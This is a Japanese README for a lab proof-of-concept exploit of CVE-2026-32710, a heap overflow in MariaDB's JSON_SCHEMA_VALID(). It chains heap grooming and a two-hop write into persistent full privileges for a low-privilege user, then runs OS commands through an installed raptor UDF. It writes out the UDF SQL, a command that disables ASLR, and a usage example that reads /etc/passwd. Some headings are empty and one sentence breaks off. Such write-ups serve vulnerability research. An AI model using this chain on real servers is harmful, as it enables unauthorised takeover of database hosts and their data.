CVE-2026-32710

MariaDB JSON_SCHEMA_VALID() におけるヒープバッファオーバーフロー → 永続的な権限昇格 → UDF RCE

ラボ支援あり。 このスクリプトは Docker / root による内部調査を使用して /proc/1/mem を読み取り、接続ごとのヒープレイアウトを特定します。実際の エクスプロイトチェーンは TCP 上の純粋な SQL です。実戦用エクスプロイトには、 メモリ内部調査ステップを置き換える情報漏洩プリミティブが必要です。

実行前

lowpriv は test データベースに対してのみ SELECT を実行できます。システムテーブルは拒否されます。

エクスプロイト

単一の Python スクリプトがヒープグルーミング、ユーザー変数メタデータを介した 2 ホップの任意書き込みを実行し、GRANT ALL による権限昇格を永続化し、UDF によるコード実行を達成します:

python3 exploit.py

実行後

lowpriv は現在 ALL PRIVILEGES WITH GRANT OPTION を保持し、システムテーブルの読み取り、任意ファイルの読み書き、mysql ユーザーとしての OS コマンド実行が可能です。この権限付与はサーバー再起動後も維持されます。

ステージ

ステージ 1: 権限昇格

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192バイト │     │ @c への書き込み│    │ @a への書き込み│
   │ オーバー  │     │ 破損した      │    │ リダイレクト  │
   │ フローが  │     │ ポインタ経由: │    │ されたポインタ│
   │ entry_c の│     │              │    │ 経由:        │
   │ value ポ  │     │ entry_a →    │    │ master_access│
   │ インタを  │     │   .value =   │    │   = 0xFFFF.. │
   │ 破壊      │     │   &master_   │    │ (ALL PRIVS)  │
   │ (2バイト  │     │   access     │    │              │
   │  部分     │     │   .length= 9 │    └──────────────┘
   │  上書き) │     │              │
   └───────────┘     └──────────────┘

1. ヒープグルーミング — 100 以上のユーザー変数で tcache を枯渇させ、 Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c が 連続して割り当てられるように強制します。

2. オーバーフロー — JSON_SCHEMA_VALID が 128 バイトのバッファを超える 192 バイトの strncpy をトリガーし、entry_c→value（同じ 64 KB ページ内の 2 バイト部分ポインタ上書き）を破損させて entry_a + 32 を指すようにします。

3. ホップ 1 — @c への代入が破損したポインタを通じて 126 バイトを entry_a のメタデータに書き込み、以下を設定します:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. ホップ 2 — @a への代入がリダイレクトされた entry_a→value ポインタを 通じて 8 バイトの 0xFF を書き込み → 。

ステージ 2: UDF RCE

永続化後、サーバーが再起動され（クラッシュリカバリ）、昇格した権限を使用して UDF 共有ライブラリがインストールされます:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

解決された主要な制約

ラボのセットアップ

# 1. コンテナをビルドして起動
./setup.sh

# 2. Docker ホストで ASLR を無効化
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. エクスプロイトを実行（試行ごとに自動キャリブレーション）
python3 exploit.py

# 4. カスタムコマンド
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

要件

• Docker（x86_64）
• Python 3
• Docker ホストで ASLR 無効化（/proc/sys/kernel/randomize_va_space = 0）
• コンテナは --cap-add SYS_PTRACE で実行（/proc/1/mem アクセス用）

オプション

--calibrate      ヒープレイアウト定数を測定して終了
--cmd CMD        ステージ 2 の UDF 実行コマンド（デフォルト: id > /tmp/pwned）
--stage1-only    権限昇格のみ実行し、UDF RCE をスキップ
--attempts N     ステージ 1 の最大試行回数（デフォルト: 5）
--host HOST      MariaDB ホスト（デフォルト: 127.0.0.1）
--port PORT      MariaDB ポート（デフォルト: 3306）

ラボ支援の内容

エクスプロイトスクリプトはコンテナに root としてシェル接続し、/proc/1/mem を読み取ります。 これは次の 2 つの目的で使用されます:

1. ヒープレイアウトの特定 — 3 つのセンチネル user_var_entry 構造体を特定し、 それらが隣接していることを確認（2 バイト部分上書き用に entry_a+32 が entry_c→value と 同じ 64 KB ページ内にあること）。
2. Security_context アドレス — 2 ホップ書き込みのターゲットとなる master_access フィールドを特定。

スキャンは各試行でインライン実行されます。これは、MariaDB のスレッドプールが 異なるアリーナを割り当てるため、ヒープレイアウトが接続ごとに異なる（ASLR=0 でも） ためです。実際のエクスプロイトチェーン — オーバーフロー + hop1 + hop2 — は TCP 接続で実行される純粋な SQL です。

実世界のシナリオでは、攻撃者はこれらのアドレスを取得するために別の情報漏洩 脆弱性（またはサイドチャネル）が必要になります。

ファイル